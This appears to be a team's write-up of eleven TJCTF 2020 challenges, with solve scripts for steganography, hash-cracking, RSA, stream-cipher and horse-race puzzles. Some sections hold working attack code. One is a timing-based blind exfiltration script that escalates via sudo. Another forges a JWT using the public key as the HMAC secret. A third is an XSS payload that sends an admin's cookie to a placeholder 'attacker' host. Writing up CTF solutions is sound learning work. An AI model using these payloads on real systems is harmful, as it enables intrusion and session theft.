---
# System prepended metadata

title: obafgkm's TJCTF 2020 Writeups

---

# obafgkm's TJCTF 2020 Writeups

## Hexillology - Forensics 25
>  Written by jpes707
>  I recently designed a new flag for my imaginary nation, Hexistan. Do you like it?

The image appears to have nothing in the lower bits. However, the colors do look a little suspicious. We look at the RGB values and oh jeez they're all in ascii range

We convert the colors to ASCII and get the flag: `tjctf{c0lorfu1_fl4g!}`

## Titanic - Cryptography 35
>  Written by jpes707
>  I wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb. 

Copy the Titanic script from [online](https://subslikescript.com/movie/Titanic-120338) and test all the words. Script below:
```python
from hashlib import md5
import string
with open("script.txt") as f:
  words = set(f.read().strip().lower().split())
  for word in words:
    flag = "tjctf{%s}"%word.strip(string.punctuation)
    if md5(flag.encode()).hexdigest()=="9326ea0931baf5786cde7f280f965ebb":
      print(flag)
      break
```
This gives us the flag: `tjctf{marlborough's}`

Note: I looked at four different scripts; only the one linked above worked. Two of the scripts didn't have this word at all, and another script replaced this with the word `Malborough's` without the `r`. A previous version of this challenge had the flag `tjctf{ismay's}`, and the three other scripts all had that word. The script linked above used the word `lsmay's`, presumably as a copyright trap.

## Truly Terrible Why - Miscellaneous 50
>  Written by lighthouse64
>  Your friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag!
>  
>  Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.
>   
>  nc 52.205.246.189 9000 

We took a very zero braincell approach to this problem. We discovered that sending `exit` and then anything else would result in the connection being closed. We also noticed that sending `sleep 1 && exit` took one second longer...

Now we come up with a way to exfiltrate output. `wc -l` is a nice way to convert output to a number, and `grep` supports regular expressions that will allow us to binary search for each character of the output. We can limit `grep` to return at most one match with `-m 1`, and we can get different lines of the output by piping into `head -n $n | tail -n 1`. The resulting input looks something like:
```bash
sleep $(command | head -n 1 | tail -n 1 | grep -m 1 -P '^ *%s[\x%02x-\x%02x]' | wc -l) && exit
```
A simple `exit` takes 1 second, so if our command takes more than 2 seconds, we know that there is output. Now we can begin running commands.

There are two text files in the current working directory that contain some info. `message.txt` tells us that we want to impersonate `other_user` and `password.txt` tells us that the password for `problem_user` is `123qwer`. Running `whoami` tells us that we are `problem-user`. So, we probably need to use `sudo` to switch to `other-user`. (underscores are replaced by dashes for no reason, looking at `/etc/passwd` confirms this)

The problem is that you can't run `sudo` unless you're in a `tty`. This is quite annoying, so of course we Google the problem.

![](https://i.imgur.com/EndT0gA.png)
![](https://i.imgur.com/7yU0mS4.png)
![](https://i.imgur.com/pvfNkth.png)

Great, so we try `echo '1234qwer' | script /dev/null -c 'sudo ls'`. Unforunately our commands are now taking one second longer for some unknown reason, but that's fine; we just increase the time cutoff from 2 seconds to 3. We get our output at  rate of about 20 seconds per character: `Sorry, user problem-user is not allowed to execute '/bin/ls' as other-user on ctf-challenge.`
wtf??
We run `sudo -l` to see what we're allowed to do. The output is `(root) /usr/bin/chguser`.
wtf??
We try running `sudo chguser` and get some output: `other-user@ctf-challenge:~$`.
wtf??
So now we try running `echo whoami | sudo chguser`, just for the lulz. We get `other-user`.
wtf??
Now we run `cat /home/other-user/*` as `other-user` and see what we can find. After waiting for a bit, we get `cat: /home/other-user/flag: Is a directory`.
wtf??
Hopefully this isn't actually what the flag file contains. We try submitting `cat: /home/other-user/flag: Is a directory` as our flag and it doesn't work. Whew. So now we try `cat /home/other-user/*` and get the flag: `tjctf{ptys_sure_are_neat}`

Final solve script:
```python
from pwn import *
import time
def test(command):
	r = remote('52.205.246.189',9000)
	s = time.time()
	r.sendline('sleep $(%s) && exit'%command)
	try:
		while 1:
			r.sendline("exit")
	except EOFError:
		pass
	r.close()
	t = time.time()-s
	if t>3:
		return t
	return 0
m = ""
while 1:
	lo, hi = 31, 127
	while lo<hi:
		mid = (lo+hi)//2
		res = test(r"echo '1234qwer'|script /dev/null -c $'echo \'cat /home/other-user/flag/*\'|sudo chguser' | head -n 4 | tail -n 1 | grep -m 1 -P '^ *%s[\x%02x-\x%02x]' | wc -l"%(repr(m)[1:-1].replace("'",r"\x27").replace("(",r"\(").replace(")",r"\)"),lo,mid))
		if res:
			hi = mid
		else:
			lo = mid+1
	if lo==127 or lo==31:
		break
	m+=chr(lo)
	print(m)
```

## Unimportant - Forensics 60
>  Written by KyleForkBomb
>  It's probably at least a bit important? Like maybe not the least significant, but still unimportant... unimportant.png source

The source makes this trivial. Essentially, the flag is encoded in the second-least significant bits of the green channel, along the columns of the image. We get a hex string starting with `e8d4c6e8ccf6dc60e8bee8d066bed8ca68e6e8bee6d272dc62ccd2c668dce8fa`. This is unprintable, but wait! The hint says that the author forgot to use `zfill`. We convert this to binary, prepend a zero, and convert to ASCII to get the flag: `tjctf{n0t_th3_le4st_si9n1fic4nt}`.

## Jarvis - Miscellaneous 70
>  Written by vbhaip
>  Tony Stark tried asking for a flag from Jarvis, but Jarvis became corrupted and only outputted these two files for some reason. Note, the flag is in the format "flag{message}" and the message only contains lowercase letters and underscores.
>  File 1 File 2

Go into help.csv and sort by the second column. We can see that there are a lot of 0s at the top and a lot of 1s at the bottom. In fact, if the value of the cell in the second column is greater than 60, the first column is guaranteed to be 1, and if the value of that cell is less than 40, the first column is guaranteed to be 0. Rinse and repeat on the other columns.

In the end, we come up with the following Excel formula:
```excel
=IF(A1>60,1,IF(A1<40,0,IF(B1>40,1,IF(B1<35,0,IF(C1<10,0,IF(C1>90,1,IF(D1<20,1,IF(D1>80,0,IF(E1<5,0,IF(E1>95,1,IF(F1>60,0,IF(F1<40,1,IF(G1>90,1,IF(G1<10,0,IF(H1>90,1,IF(H1<30,0,IF(I1<40,1,IF(I1>50,0,IF(J1<40,1,IF(J1>60,1,0))))))))))))))))))))
```

## RGBSA - Cryptography 70
>  Written by boomo
>  I love me some pixel art! Peep the red channels! Flag is in flag{} format

There were 3 gifs, `c.gif`, `e.gif`, `n.gif`, each containing an RSA coefficient. Each gif had 76 frames and each frame had the RSA coefficient embedded in red channel LSB. After extracting the data, we get a bunch of values of `c`, `e`, and `n`.

First thing we notice is that all the `n`s are the same. We then check all the values of `e` and find that $\left(e_{44},e_{45}\right)$ is the only pair of `e` values that have a GCD of 1. We can get `m` by finding a pair of integers $(a,b)$ such that $ae_{44}+be_{45}=1$, and then computing $c_{44}^a\cdot c_{45}^b\mod n$.

```python
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
r,s = 44,45
x,y,z=egcd(e[r],e[s])
m = (pow(c[r],y,n)*pow(c[s],z,n))%n
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(m))
```
The flag is `flag{excitable_illumination_wanderer_}`.

Note: a previous vesion of this challenge was broken due to gif compression destroying 75% of the frames in c.gif, including the frame encoding for $c_{44}$. This only enabled people to get $m^{13}\mod n$, which was not sufficient to solve the challenge.

## Zipped Up - Miscellaneous 70
>  Written by agcdragon
>  My friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again? 

This challenge sucked.

The following script needs the zip files to be extracted to a parent folder named `zips`. It just keeps unzipping until it finds a flag file that isn't `tjctf{n0t_th3_fl4g}`.

```python
from os import listdir, rmdir
import tarfile
from zipfile import ZipFile
import shutil
start = 1
for i in range(start,1000):
	d = listdir(f"zips/{i-1}")
	if i!=start:
		with open(f"zips/{i-1}/{i-1}.txt") as f:
			a = f.read()
			if a.strip() != "tjctf{n0t_th3_fl4g}":
				break
	for x in d:
		if ".txt" not in x:
			d = x
			break
	if ".bz2" in d:
		t = tarfile.open(f"zips/{i-1}/{d}",mode='r:bz2')
		t.extractall(path="zips/")
	elif ".gz" in d:
		t = tarfile.open(f"zips/{i-1}/{d}",mode='r:gz')
		t.extractall(path="zips/")
	elif ".kz3" in d:
		t = ZipFile(f"zips/{i-1}/{d}")
		t.extractall(path="zips/")
	else:
		break
	if i!=start:
		shutil.rmtree(f"zips/{i-2}")
```
After running this script, we get the flag in 829.txt: `tjctf{p3sky_z1p_f1L35}`

## Home Rolled - Cryptography 80
>  Written by nthistle
>  It's that time of year again... time to home roll your own crypto! Since pesky CTF players keep breaking my schemes, this time I obfuscated the source code, so you'll never be able to figure out what it's doing. I also used cutting-edge Python 3.8 syntax! Security by obscurity! nc p1.tjctf.org 8012 

Source code:
```python
import os,itertools
def c(l):
 while l():
  yield l
r,e,h,p,v,u=open,any,bool,filter,min,len
b=lambda x:(lambda:x)
w=lambda q:(lambda*x:q(2))
m=lambda*l:[p(e(h,l),key=w(os.urandom)).pop(0)for j in c(lambda:v(l))]
f=lambda l:[b(lambda:m(f(l[:k//2]),f(l[k//2:]))),b(b(l))][(k:=u(l))==1]()()
s=r(__file__).read()
t=lambda p:",".join(p)
o=list(itertools.permutations("rehpvu"))
exec(t(o[sum(map(ord,s))%720])+"="+t(b(o[0])()))
a=r("flag.txt").read()
print("".join(hex((g^x)+(1<<8))[7>>1:]for g,x in zip(f(list(range(256))),map(ord,a))))
```
Notice the line `s=r(__file__).read()`. This probably means that the program is reading it's own source code. Yuck! We copy/paste the source into a multi-line string and set `s` equal to that. Now we can safely modify the code.

We can also see that there's a sneaky little `exec` in the code as well. We change the `exec` to a `print` and get `r,v,h,e,p,u=r,e,h,p,v,u`. Tricksy hobbitses.

Let's take a look at the last line. The code runs through each character in the flag and performs an XOR with a corresponding number in whatever `f(list(range(256)))` is. Great, it's a stream cipher. The resulting output is then converted to hex.

I spent way too much time digging into the functions - essentially, the function `f` is performing a randomized merge sort, where in each merge, elements are pulled from both sublists at random. However, this information isn't actually necessary. If we look at a bunch of outputs of `f(list(range(256)))`, they are all permutations of the numbers from 0 to 255. 

This seems unbreakable at first - after all, the permutations are genereated with `os.urandom`. However, there is a fatal flaw in the key generation - no number is ever repeated in the key.

We connect to the server and get a relatively short output, so we have good reason to believe that this is the encrypted flag. This means the plaintext must start with `tjctf{` and end with `}`. And here's where the flaw comes in: If the first character of the decoded output is `ord('t')^x`, no other character could have been XORed with `x`. Through multiple connections to the server, we can lower the possibilities to just one character each.
```python
from pwn import *

possible = [set(range(256)) for i in range(38)]
known = b"tjctf{???????????????????????????????}"
for x in range(1000):
	while 1:
		try:
			r = remote("p1.tjctf.org", 8012)
			break
		except:
			pass
	a = bytes.fromhex(r.readline().strip().decode())
	for i in [0,1,2,3,4,5,37]:
		c = a[i]
		for j in range(6,37):
			possible[j].discard(c^known[i]^a[j])
	r.close()
	if x%100==0: print(x)
for i in possible:
	if len(i)==1:
		print(chr(i[0]),end="")
print()
```
The flag is `tjctf{n3v3r_r0LL_ur_0wn_cryptOMEGALUL}`

## Moar Horse 4 - Web 80
>  Written by nthistle
>  It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it 'Moar Horse 4'... See if you can get a flag from it!
>  Source
  
Not a bad challenge, but Cookie Cutter ([ACTF 2019](https://files.actf.co/be68de25b4dcd9cecd2d16fc2eb974bf3892604d9ecdeb10b7c2c21346117a54/cookie_cutter.js)) was better.

This challenge is about JWTs. We need to forge a JWT token that allows us to have a winning horse. However, the JWT tokens are verified with the public key, which is provided in the source. There is a very suspicious line in the source that disables checking for public keys in HMAC secrets, confirming that this is the way to go. We create a JWT token which is signed using the HS256 algorithm, where the secret is the public key.

Now we need to create a winning horse. The horse racing code is below:
```python
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
if your_speed > boss_speed:
    return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
```
With a bit of bruteforcing, we can construct a winning horse named `b1c_3133707226937`. The speed of this horse is `0xffffffcfb525620abb304a58d7ac5410`. Quite fast indeed. We create our cookie using the script below.
```python
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key)
with open("pubkey.pem") as f:
  p = f.read()
data = {
  "user":True,
  "is_omkar":True,
  "money":999999,
  "horses":['b1c_3133707226937'],
}
print(jwt.encode(data, p, "HS256"))
```
After racing our horse against the boss, we get the flag: `tjctf{w0www_y0ur_h0rs3_is_f444ST!}`

## FB Library - Web 90
>  Written by KyleForkBomb
>  The Independent ForkBomb Academy has a new online library catalog! I asked the student librarians to add some books but they just ended up fooling around instead. If you see any weird books report them to me and I'll take a look.

This was actually not a terrible challenge.

You can inject HTML into the search box, but it gets cut off after 20 characters. So naturally, we go to Google and search for "xss less than 20 characters" and land on [this SE question](https://security.stackexchange.com/questions/199432/xss-payload-shorter-than-20-character).

The key here is that all we need to do is run `eval(name)` in the search box, and then we can get the admin to visit our site which sets `window.name` and redirects to that search. We can run `eval(name)` in 20 characters with `<script>eval(name)/*`.

Here's the code on our site (replace `attacker` with your favorite request logger):
```html
<script>
window.name="location='http://attacker?'+encodeURIComponent(document.cookie)";
location="https://fb_library.tjctf.org/search?q=%3Cscript%3Eeval%28name%29%2F*"
</script>
```
We report our site to the admin and get a cookie, which we can then use to get the flag.

Flag: `tjctf{trunc4t3d_n0_pr0bl3m_rly???}`

## Difficult Decryption - Cryptography 100
>  Written by saisree
>  We intercepted some communication between two VERY important people, named Alice and Bob. Can you figure out what the encoded message is? intercepted.txt 

This is a simple Diffie-Hellman key exchange. The first thing we want to do is to factor the modulus, so we plug it into factordb.com. 
![](https://i.imgur.com/yIa52Wn.png)
Wow, these are very small factors! We figure sage can do the rest of the work for us.
![](https://i.imgur.com/P1jp0Fs.png)
We then compute `message ^ (pow(your_key, A, modulus))` and get the flag.

Flag: `tjctf{Ali3ns_1iv3_am0ng_us!}`
